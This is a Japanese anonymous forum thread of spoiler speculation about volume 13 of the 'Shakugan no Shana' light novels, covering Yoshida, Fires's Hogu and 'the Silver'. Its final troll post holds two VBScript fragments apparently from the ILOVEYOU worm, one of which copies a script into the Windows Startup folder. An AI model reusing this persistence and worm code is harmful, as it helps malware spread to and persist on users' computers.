灼眼のシャナ　ネタバレ専用スレ

1：ＳＳ保管人：2003/11/29(土) 13:16: 文庫、ラジオ等のネタバレ専用にどうぞ
937：名無しさん：2006/09/08(金) 21:37:09: とりあえず40分ぐらいで読んできた。

どっかの徒か王が千草の双子の片割れにちょっかいかけて
それでアラス以下が死んだことにして保護したのがシャナ
とかちょっと考えたが一瞬で兄さんっていう記述が出てしょぼーんてなった。

それにしても吉田さんのフレイムヘイズフラグは考えなかったなぁ…

とりあえず実はただの自在師じゃなくて近接戦闘もいけるヘカテーたんにびっくりした。
938：名無しさん：2006/09/08(金) 22:02:42: フレイムヘイズフラグはないだろ
939：名無しさん：2006/09/08(金) 23:16:52: >>881の奴はなんに出てきた奴？思い出せん
俺も最後の所誰のことを言ってるのかさっぱりだった
940：名無しさん：2006/09/08(金) 23:22:34: >>939
メアはゲームで出てきた”徒”らしい。俺もプレイした事ないから詳しくは知らんが、推測するにそいつかな、と
941：名無しさん：2006/09/08(金) 23:35:56: >>940
あり
ゲームか・・・フォローしてないな
特殊な力をもっている、基本的に弱い、暴走を続けていた、哀れな蝶
とかの表現から最初はｺﾞｽﾛﾘ姉弟の姉の方のことかと思った
懐刃追跡中のﾐﾅと遭遇した記述もあったような気がするからその時懐刃から
刀の情報もらって来たのかと
でもなんかサブラグと深い仲ぽかったから違うかな～と
942：名無しさん：2006/09/08(金) 23:37:30: >>937
それだとシャナがフレイムヘイズになった時点で
死んだとされている片割れの存在を双方が忘れてる
943：名無しさん：2006/09/08(金) 23:45:48: >>941
エピローグの会話の流れ的に蝶女は『零時迷子』を狙ってシャナ達に挑んだっぽいし、ティリエル達は贄殿遮那を狙ってきてたからやっぱ違うんじゃないか？
それに
ttp://www.youtube.com/watch?v=XRgDpFxUGOY&mode=related&search=
ここにメアが出てるが、最後のシーンで蝶の羽が生えてるしな
944：名無しさん：2006/09/08(金) 23:57:02: >>920
中の人的にはエスカリボルグじゃなくエクスカリバーだｗ
945：名無しさん：2006/09/09(土) 00:04:10: >>943
なるほど確定ぽいな
しかしゲームまでフォローしないとわからんのか・・・
厳しいな（´・ω・｀）
946：名無しさん：2006/09/09(土) 00:06:10: 今回の最萌えは乳首シャナでも悲哀の中間管理職フェコルーでもない。
シャナが自分にも見せてくれない秘密の箱を持ってるとマージョリーに愚痴り酒を飲むミナたんだ！
947：名無しさん：2006/09/09(土) 00:06:18: >>881
あぁそうか・・・ゲームのキャラが本編に関わるとは思ってなかったから
メアは視野に入れてなかったな・・・
確かに言われてみると「弱者ゆえの暴走」「特殊な力」「蝶」とかのワードは
メアを指している気がするね・・・
948：名無しさん：2006/09/09(土) 00:47:31: 自ら覚悟して死ぬということは、己の全てを捨てることと同義

故に敢えて話すということは、今なお半端な覚悟で紅世に踏み込もうとしている
吉田を牽制すると同時に、彼女の覚悟を知るための強い言ともなる
つまり、それを実行したとき、吉田の不確かは、確かなものへと変わるわけで

それは
負けられない敵である少女に彼を託し、己は彼を守るために退くということ
他の全てを捨ててまで、そうすることで彼との絆を優先するということ

彼女の言う絆とは、それほどまでに強く、改めてその強さを認識できたフィレスは、
彼女の身の内に顕現し、彼と共に在りたいという吉田の願いを叶えるため、
共にフレイムヘイズとしての道を歩むこととなるのでした

炎髪灼眼の討ち手と愛する男のために望んでフレイムヘイズとなった少女、
フレイムヘイズとしての存在観念を異にする二人の例外者
数百年経った今でも、そのコンビは大いに活躍し、世界に数々の軌跡を残す
伝説となっています。かつてマティルダとヴィルヘルミナの関係がそうだったように
まるで「彼ら」を見ているよう、とアラストールはおもったのでした

それでも「彼ら」は今でも、そしてこれからも……、
今は亡き想い人への絆を忘れないことでしょう。そうして四人の伝説は続いていくのです

おわり
949：名無しさん：2006/09/09(土) 00:53:18: >947
876たんは自分の書いたものに責任を持つからな。
燐子ニーナの話とか。
950：名無しさん：2006/09/09(土) 01:14:40: >>948
的を得ているような気がして読み進めた俺が馬鹿だった
951：名無しさん：2006/09/09(土) 01:51:27: 今回の巻を読んで『暴君』＝”銀”が確定した訳だが、そこで俺は少し疑問を持った。
その疑問というのは『』の意味についてなんだが、これは通常、『神鉄如意』等の宝具に使われている。
では、何故”徒”である”銀”つまり『暴君』に『』が使われているのか？
そもそも何故宝具は存在の力を込める事なしに使える物が存在するのだろう。加えて何故この世での存在維持に”徒”のように存在の力を必要としないのか。この世と紅世の狭間の物質であると描写されているが狭間とは具体的に何を、何処を指すのか。
一連の疑問を考える内、１０巻で出てきた『大命詩篇』の分解と定着の式に自然と思考の焦点が移った。
２つの式はご存知の通り”棺の織手”アシズが『両界の嗣子』形成の為、用いた物だ。
ここで問題となるのはバルマスケは定着と分解の式を何の為に作り出したのか、である。
宝具と『両界の嗣子』、二つには共通する点、それはどちらも作成に人と”徒”が必要となる所だ。そう言う意味で宝具もまた『両界の嗣子』と呼べる。ならば『両界の嗣子』は宝具と同じ狭間の、この世で存在の力を必要としない者であり、バルマスケは狭間の本質を理解し、人と”徒”で宝具のようなモノを生み出せないかを試行錯誤し、結果、分解と定着の式を開発した。
そう考えると定着と分解の式を作り出した理由も説明できるし、『大命詩篇』が狭間に深く関わるものであるとも仮定できる。
その仮定が正しければ最初の疑問『暴君』の『』の意味も氷解する。
つまり、十字架に吊るされた西洋鎧『暴君』は”銀”の宝具的なものであり、奥に潜む真の”銀”は狭間、紅世とこの世の根幹に関わる何か、なのかもしれない。

長文スマソ
952：名無しさん：2006/09/09(土) 02:14:26: 次回いよいよ誰か死にそうだと感じた

悠二が王クラスになって吹いた
戦闘参加はまだ遠いかな
953：名無しさん：2006/09/09(土) 03:30:48: 次回
悠二が大蛇薙を会得します
954：名無しさん：2006/09/09(土) 04:05:28: ただ『足手纏い』が一人、加わるだけだった。
自分が、人間でしかない自分が　そ　こ　へ踏み込むには、『力』が必要なのである。
しかし、その『力』は、自分の全てを捨てて初めて得られるという。

(灼眼のシャナ -XIII巻- 3章決意と決意 P201L16～P202L2)

宝具「ヒラルダ」
　----"表"向きの効果----
　　彩飄フィレスを召喚することが出来る。
　　しかし、人間の女性にしか扱えず、また、使用者は『存在の力』を使い果たし、消滅する。

　----"裏"の効果----(予測１)
　　彩飄フィレスと契約し、使用者はフレイムヘイズとなる。
　　しかし、自分の存在を生贄にする必要がある。

　----"裏の裏"の効果----(予測２)
　　使用者は、一時的に彩飄フィレスのフレイムヘイズダミーとなる。
　　しかし、フレイムヘイズの契約とは違い、全ての存在の力を使い果たし、消滅する。

吉田一美に、フレイムヘイズ化フラグor断念フラグが完全に立ったね。
田中栄太は、離脱フラグor一発逆転契約フラグがonに。
佐藤啓作は、アウトローで活躍フラグがonに。
坂井千草は、3人目の子供が･･･｡rz

今回は、フラグ大量回収とそれぞれの決意と纏めのような話でしたね。
955：名無しさん：2006/09/09(土) 04:23:34: まさか坂井夫婦黒幕説と同列ぐらいの説であった坂井悠二次男説が本当だったとは・・・
あとMMRガンガレ超ガンガレ
956：名無しさん：2006/09/09(土) 06:02:43: >952
『』の意味はなかなか鋭いんじゃないか。
957：名無しさん：2006/09/09(土) 06:57:00: シャナは二次性徴がまだなのか。
子供の作り方を教えてもらっても実践は無理っつーことですか。
958：名無しさん：2006/09/09(土) 07:54:42: 12歳じゃね・・・そりゃ教えんて
959：名無しさん：2006/09/09(土) 11:22:15: 銀関係が濃すぎて整理し切れん・・・
960：名無しさん：2006/09/09(土) 11:24:06: なんであれを吉田フレイムヘイズ化フラグと読む奴がいるのかさっぱりだ。
フレイムヘイズにしたらフィレス本体は吉田の中に入って
意思だけを何かの道具から外に発することになる。
そんなヨーハンと離れるようなことするわけないと思うんだが。
961：名無しさん：2006/09/09(土) 12:13:11: >>960
悠二の中にはヨハーンがいるから、悠二と吉田が交われば
ヨーハンとフィレスも交われるのでは？

激しい戦闘でミナが死亡して、変わりに吉田フレイムヘイズ化
先代とミナのような関係にはなれないかな？
962：名無しさん：2006/09/09(土) 12:33:48: まあ普通はなさげ＞フレイムヘイズ化

つーかあのヒラルダ関係でどうやったら
そういう考えになるのか原理的によく分からないんだが。
963：名無しさん：2006/09/09(土) 12:36:22: >>961
それなら悠二とフィレスが交わればいいじゃん。
964：名無しさん：2006/09/09(土) 12:52:04: 悠二がフレイムへイズになれば万事おｋ
965：名無しさん：2006/09/09(土) 13:04:13: トーチなんだからフレイムヘイズになれるか！
966：名無しさん：2006/09/09(土) 13:25:00: いや、死亡フラグと同じぐらいフレイムヘイズフラグも立ったと思うけどな。
上のほうでも言ってるが、マティルダにたいする汁のような感じになる可能性も無きにしもあらず。
967：名無しさん：2006/09/09(土) 13:34:11: >マティルダにたいする汁
吉田さんがどうして契約できるのかって話だと思うんだが
968：名無しさん：2006/09/09(土) 13:36:34: というか紅世を討滅する側にないフィレスが
吉田をフレイムヘイズにするメリットも理由も何もないだろ。
一体どのへんからフレイムヘイズ臭が漂ってくるんだ。
969：名無しさん：2006/09/09(土) 13:59:47: 漏れにも分からん・・・そもそもそういう話なら
こっちにいる王が契約できるかどうかは明言してるだろ。
970：名無しさん：2006/09/09(土) 14:17:51: だから新たなエンゲージリンクとして
悠二（ヨハーン）＝吉田さん（フィレス）ってことなんじゃね？

で、これをやるとあまりに厨臭くなるから
吉田さんはもう死亡フラグでいいよってことだ。

要はMMRガンガレ。超ガンガレ。
971：名無しさん：2006/09/09(土) 14:20:17: >>967-969
本当は分かってるのでは、君たち？
ちゃんと読めば、伝わってくるでしょ？

ヨーハンはもう、顕現出来ない。
ヨーハンは、"銀"の意思(本編でそういう表現)によってどんどん変わっていってる。
"銀"は『大命詩篇』の一部。
"銀"は『暴君』･･･銀の鎧？
しかし、悠二はまだ助かる(トーチのままだが)。
吉田は悠二(という、ヨーハンを内に秘める"ミステス")が好き。
フィレスは、ヨーハンが好き。
フィレスは、ヨーハンから全て聞かされた。
フィレスは、ヨーハンからお願いされ、決意した。
フィレスは、吉田に"ヒラルダ"を渡す時、まるで吉田の決意を確かめるように、
「死を選ぶか、足手纏いでいるか」を迫った。自分が顕現するだけなら、
使えば「死ぬ事」を教えるのは絶対に不必要なこと。

おまえらは、認めたくないんだなｗ
972：名無しさん：2006/09/09(土) 14:41:13: ・・・？
いや、だからフィレスが契約できるのかってことなんだが。
973：名無しさん：2006/09/09(土) 14:49:59: >ヨーハンはもう、顕現出来ない。
愛と奇跡の力でなんとかなる、はず、多分

あれだ
契約者となって吉田をフレイムヘイズとして悠二兼ヨーハンの傍にいさせて
完全にヨーハン復活したら吉田器を崩壊させて顕現して逃走とか計画立ててるんだよ
腹黒だな
974：名無しさん：2006/09/09(土) 14:54:28: そんなことより14巻のアラビア文字表記がどうなるかと
笹倉たんの左手の達人コーナーがあるのかが気になって
夜も眠れません＞＜
975：名無しさん：2006/09/09(土) 15:01:08: XIVでは。
それより18巻がヤバイ。
XVIIIだよ（；´Д｀）
976：名無しさん：2006/09/09(土) 15:42:21: >>972
フィレスは紅世の王なんだから契約できるか出来ないかといえば出来る。
それにフィレスはミナと親しかったわけで、であるならフレイムヘイズへの理解はあるだろうし、
フィレス側の問題はヨーハンとの関係ぐらい。
あと、ヨーハンとの人を食わないという約束を破らずにこの世に在り続けるという約束を守るために、
ヨーハンを取り戻せないならフレイムヘイズとなる以外選択肢がなさそうということも、フレイムヘイズフラグ説を
補強する材料になるかも。
使えば死ぬ宝具を渡してるのに「ここに居続けるためには～」って行ってみたり、
「力がほしいなら」と《命を消せるのなら》がセットになってたり、結構フレイムヘイズフラグを
におわせる表現はある。

ただ、ちょっと考えすぎような気もする。普通に吉田さん死亡フラグである可能性も高い。
もしかしたら、悠二（ヨーハン）を守りたいという吉田＆フィレスの願いによって、新宝具誕生
という可能性もあり得なくはないかもしれん。
977：名無しさん：2006/09/09(土) 15:58:42: 吉田さんはどう考えても戦闘には向いてなさそうだし
シャナとの対比が無くなるからなあ
フレイムヘイズになったとしても悠二がシャナ選んだら目も当てられないことになりそうだ
978：名無しさん：2006/09/09(土) 16:09:18: >>976
確かに宝具を作る可能性もなくはないか

>>987
つ「永遠の三角関係」
979：名無しさん：2006/09/09(土) 16:11:53: >>977
そーいった部分全部はぐらかして
フレイムヘイズ、吉田一美とシャナと、ミステス坂井悠二の冒険は続いていく
980：名無しさん：2006/09/09(土) 16:13:00: ケリを付けられるよりも、ぼかしてくれた方が良いかもネ
981：名無しさん：2006/09/09(土) 16:19:04: はっきり描くと出版禁止になってしまうからね
982：名無しさん：2006/09/09(土) 16:20:54: 何の話だｗ
983：名無しさん：2006/09/09(土) 16:29:54: 正直「子供の作り方」は行くところまで行ってしまうことの伏線じゃないかと思うのだが。
984：名無しさん：2006/09/09(土) 16:30:15: >永遠の三角関係
ちゃんとケリをつけてほしいなあ
でないと今までの苦悩や成長はなんだったんだってことになる
985：名無しさん：2006/09/09(土) 16:38:53: 876たんならそんな甘えの展開を許さず決着を付けてくれると信じてる。
決着つけた上で付いていくということはあるかもしれんが。

あと次スレ建てました
灼眼のシャナ　ネタバレ専用スレⅡ
http://jbbs.livedoor.jp/bbs/read.cgi/movie/3582/1157787398/
986：名無しさん：2006/09/09(土) 16:44:48: >>982
えっ・・・・・イラストの話じゃないの！？
987：名無しさん：2006/09/09(土) 18:42:08: >>971
穴だらけでどこから突っ込んで良いかわからん。
988：名無しさん：2006/09/09(土) 18:57:31: ヨーハン復活不可能って確定した描写あった？
フィレスに手段とそのための準備を耳打ちして一旦引っ込んだだけっぽかったけど。
989：名無しさん：2006/09/09(土) 18:57:51: 秘密の小箱は手紙入ってるんだろうね
990：名無しさん：2006/09/09(土) 19:15:19: そのために利用すんのかね吉田を
991：名無しさん：2006/09/09(土) 19:53:49: あと丸一日か・・・
992：名無しさん：2006/09/09(土) 20:42:19: 吉田は弟とか両親いるだろ
フレイムヘイズ化なんかしたら悠二ひくよ
993：名無しさん：2006/09/09(土) 20:50:31: と思うんだが、なぜかこだわる人がいるのだ。
ネットSSじゃないんだから、誰でも強くするってのはどうなんだと思う。
994：名無しさん：2006/09/09(土) 20:59:48: フレイムヘイズの安売りは嫌よ
995：名無しさん：2006/09/09(土) 21:12:15: U-2とかKAZUMIなんて見たくねぇよ
996：名無しさん：2006/09/09(土) 21:25:38: >993
同感
876の人は「強キャラ増やして敵をぶっ潰す！」てのとは無縁ざんしょ。
997：名無しさん：2006/09/09(土) 21:58:38: >>996
味方を「強キャラ化」して敵を倒してるだろｗ
998：名無しさん：2006/09/09(土) 22:04:20: あのう
新刊に千草とヴィルヘルミナのイラストは
何枚ありますか？
999：名無しさん：2006/09/09(土) 22:14:23: 新作カットならヴィルヘルミナがちょこっとあるよ
1000：名無しさん：2006/09/09(土) 22:21:12: 管理人さんに感謝を捧げつつ、千征令が1000get
　　　　　　　　　　　　　　　　＿
　　　　　　　　　　　　　　/,,,　ヽ　
　　　　　　　　　　　　　　[ ＠　] |　　　千征令殿さすがだな
　　　 (^Y)　　　　　　　　ヽ^^^ /
　　　　 V⌒ヽ　　　　　　 / ￣ ⌒i～†
　　　￣*￣￣￣　/￣￣￣￣/|　|
　　　　ijjjjjjjjjj つ/　紅世　//|　|＿＿
　　　￣￣￣＼/＿＿＿＿/￣（u　⊃
1001：名無しさん：2006/09/09(土) 22:28:36: >>993
こだわってた人はともかく、フィレスが渡した宝具の意味について考察すれば、
吉田さんがフレイムヘイズ化する伏線と解釈するのも、無理があるわけじゃないと思うぞ。
安易に強化するのはご都合主義的すぎるというけど、フィレスの裏の声どおりだとしても、
じゃあ吉田さんあっさり死んでそれで終わりってのも、安易な強化並みに都合よすぎる展開だし。
ま、どっちにしろ予想でしかないけどね。
1002：名無しさん：2006/09/09(土) 22:32:05: たしかに。
むしろフレイムヘイズ化が可能なら
物語的にはそれを断念することに意味があるかもしれない。

ところで1000超えても書けるのね。
1003：名無しさん：2006/09/09(土) 23:20:58: レス数が 1000 を超えています。1050を超えると表示できなくなるよ。
1004：名無しさん：2006/09/09(土) 23:28:47: なんで1000超えてもかけるんだろう。。。
1005：名無しさん：2006/09/09(土) 23:31:16: ここはしたらばだぞ？　管理人の設定次第
1006：名無しさん：2006/09/09(土) 23:39:23: >>1093(千草)取れねえのか
1007：名無しさん：2006/09/09(土) 23:44:51: そしたら次スレどうすんだ？
このまま行くのか？
1008：名無しさん：2006/09/09(土) 23:48:13: 1050まではこっちだね。
向こうには乙華麗の挨拶をしてこよう。
1009：名無しさん：2006/09/10(日) 01:13:47: ヨーハンにはもしかしたら、
悠二の体を支配して顕現する算段があるのかもわからん
まあ、間違いなく吉田さんは利用されるね
1010：名無しさん：2006/09/10(日) 01:30:27: 俺はフレイムヘイズフラグ云々とうるさい子とは別の意味であれは吉田死亡フラグじゃないと思う。
死亡フラグっていうのはメタな視点でそのキャラの死亡が予想される描写じゃね？
フラグってのは目に見えないものであって作中キャラからは認識できないものじゃないかと。
でも今回の場合は吉田の視点で自身の死を予想する描写なわけで、死亡フラグとは呼べないんじゃないかと。
1011：名無しさん：2006/09/10(日) 02:03:39: 俺はフレイムヘイズ化って言ってる奴は何言ってんだ？と思ってるし
死亡はとりあえずフラグ立ったけどまだわからんな、と思ってるが

>>1010
一般的に漫画や小説で「こういうこと言うと（すると）大抵その後死ぬ」
とかに代表される経験則によって死が予感されるものが死亡フラグだから
視点云々は関係ない。
1012：名無しさん：2006/09/10(日) 03:46:01: フツーに吉田さんフレイムヘイズ化に読めたけどな。まあ人それぞれ。
どっちにしろ池は不幸にしかならんな・・・副いいんちょとくっ付くのかな。
1013：名無しさん：2006/09/10(日) 03:52:51: だから俺たちが死を「予感」するものだろ？　死への伏線なわけだ。
例えばWW2もので普通の部隊の兵卒が「俺、戦争終わったら結婚するんだ」って言うのと、
神風特攻隊のパイロットがいよいよ出撃したって描写とを同列に死亡フラグと呼ぶか？
後者は予感なんかじゃなく確定なわけで、もう伏線とかいう時点を越えているだろうに。
次巻で吉田が死んだところでそれは今巻でそうなることが「明確に示されている」以上
予定調和であり、伏線消化にはならなくね？
1014：名無しさん：2006/09/10(日) 04:31:57: こんなんでフレイムヘイズ化かよ
軽いなおい
1015：名無しさん：2006/09/10(日) 05:33:37: 実際吉田さんは怖くて使えないっていうオチだと思うけどね。
結局フィレスはヨーハン復活の準備を整えて、ヒラルダを発信機代わりにしてもう一回来るだけじゃないか？
フレイムヘイズ化っていうのは正直ないと思う。
あっても単なる吉田さん死亡フラグ。
フィレスはヨーハンの復活を望んでるだろうし、
内部にヨーハンを封じた零時迷子のミステスと永遠を生きるとかいう微妙な感情で契約には至らないと思う。
ヨーハンが契約しろと言ったとかいう超展開があれば話は別だけど…
1016：名無しさん：2006/09/10(日) 06:03:47: ぶっちゃけフレイムヘイズ化はないと思うが
死亡するのもないと思う、俺穏健派。
1017：名無しさん：2006/09/10(日) 12:08:32: 吉田をフレイムヘイズにしてフィレスになんか良いことがあるわけ？
ヨーハンがまだ復活できるかどうかさえまだわからないのに
なんで既にヨーハン復活絶望だから吉田をフレイムヘイズにして
中の人同士で仲良くするため、なんてトンデモ話まで飛び出すのかな。

>>1013
別に本人が認識してたって読者視点で認識できればフラグはフラグだろ。
例えば「明言されてないけどいかにも使ったら死ぬっぽい技」を
「それっぽいセリフで使おうとしてさぁ次週」も死亡フラグって言うじゃん。
1018：名無しさん：2006/09/10(日) 12:16:37: 「これを使えば俺は死ぬだろう」なんて
明言してもどのみち死亡フラグだと思うが。
最もこれは使い古されてから逆に生存フラグになってるけど。
1019：名無しさん：2006/09/10(日) 12:39:35: フラグの定義とかどうでもいいが
フレイムヘイズ化ってどうなんだ・・・
1020：名無しさん：2006/09/10(日) 13:21:59: 吉田さんフレイムヘイズ化って普通に不可能な気がするけど。
王に存在の力を全て捧げてフレイムヘイズになるのに、宝具の起動に全部（かどうかわからんが）
使った後どうやって契約するんだ。
例えなれたとしても、使用時に死ぬほど存在の力を消費してるしあまりフィレスの力を使えこなせないような。
ま、ブラフなら関係ないけど。
1021：名無しさん：2006/09/10(日) 13:59:25: むしろブラフなんだけどその宝具を使えなかったという事実（命を賭けるシャナとの対比）が吉田さんが身を引く決定的なものになると思うな
吉田さんは悠ニにとっての日常の象徴みたいな存在だからフレイムへイズ化はやっちゃダメなんじゃないかなあ
1022：名無しさん：2006/09/10(日) 17:15:28: 同感。
悪く言うつもりはないけど、フレイムヘイズ化を言う人は
結論ありきで設定を捻じ曲げて考えてるように思える。

今まで一度も、この世にいた王が契約した話なんか出てないのに。
1023：名無しさん：2006/09/10(日) 17:17:23: 吉田自身が言ってるけど、恋心や疎外感を煽って奮起させたところで
フィレス召還とその代償の死はいくらなんでも使わせるに足らない効果。
そもそも使わせたいなら代償が死だなんてことを教えてやる必要がない。
「ミステスが危険になったら」<<私とヨーハンのために使いなさい>>
と言ってるけど、使わせたいのか持たせること自体が目的なのかも不明。

ただもう一度ヨーハンと触れ合うための、
非情で計算高い行動なんだろうってことは窺い知れるな。
1024：名無しさん：2006/09/10(日) 17:32:09: 設定上の無理はないと思うしアリと言えばアリだと思うけどなあ
まあ安易な展開と言えばそれまでだけど、そんなもん描き方でどうにでもなるような
1025：名無しさん：2006/09/10(日) 17:46:06: ところで意思総体と仮装意思総体って言葉が出てきたね。
訓練のシーンで悠二が存在の力を普段統御している意思総体云々。
フィレスが零時迷子に干渉して中の仮装意思総体が活性化云々。
活性化したせいで『暴君』の一部が仮装意思総体のほうに実体化云々。

零時迷子の基幹に大命詩編を打ち込んで仮装意思総体に変換し、
ミステスの存在の力をごっそり使って銀を実体化させるのが大命なのかな。
1026：名無しさん：2006/09/10(日) 18:43:14: アラストールとシャナはこの世にいた王と契約した例には入らないのか？
1027：名無しさん：2006/09/10(日) 19:08:03: アシズという逆の例もあるよな？
1028：名無しさん：2006/09/10(日) 20:15:36: 荒巣の場合は本来は帰るところをカイナで留まってるからなー
1029：名無しさん：2006/09/10(日) 20:30:35: ↑本質的な違いはないだろ。
それに作中でこの世での契約は不可と描写されてるわけでもないし
1030：名無しさん：2006/09/10(日) 20:37:34: 漏れに文句言われても知らんよ
何でそんなにケンカ腰なんだ？
1031：名無しさん：2006/09/10(日) 20:47:32: 出来る出来ないはどうでもいいが、フィレスがする理由は無さそう。
フィレスはヨーハンと抱き合う、触れ合うことが最優先で、
まだその目的のために必要な行為を迷わず揺るがず取り続けてる雰囲気だし。

っていうか、この話題荒れそうだから話題変えようとしたんだがな･･･。
1032：名無しさん：2006/09/10(日) 20:53:53: アシズ様しかり、一度フレイムヘイズと契約したからって生の徒になれないわけじゃなし。
もしヨーハンと触れ合うことができるようにする過程において一度フレイムヘイズと契約する必要があるとしたら、
迷わず揺るがずそれを行うんじゃない？

まあそんな必要あるわけないがな！
1033：名無しさん：2006/09/10(日) 22:06:04: その辺を本格的に議論したい人は、この板内の
考察専用スレッド
http://jbbs.livedoor.jp/bbs/read.cgi/movie/3582/1092752687/
使ったらいいと思うです。ここなら気兼ねなく熱い伏線研究しても問題ないっしょ。
1034：名無しさん：2006/09/11(月) 09:00:09: 吉田フレイムヘイズ化疑惑なんてどうでもいい
生まれてくる子供が　妹　か　弟　か　だ　！
1035：名無しさん：2006/09/23(土) 16:29:01: >1022
つ五巻
1036：名無しさん：2007/09/16(日) 10:32:36: 　　　＿＿＿
　　＿l≡_、_ |＿　(
　　（≡´酈｀）　　) 糞スレはここか・・・
　　　<__ヽyゝヽy━･
　　　/＿l：__|
　　　ｌL ｌL

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE- LETTER-FOR-YOU.TXT.vbs

灼眼のシャナ ネタバレ専用スレ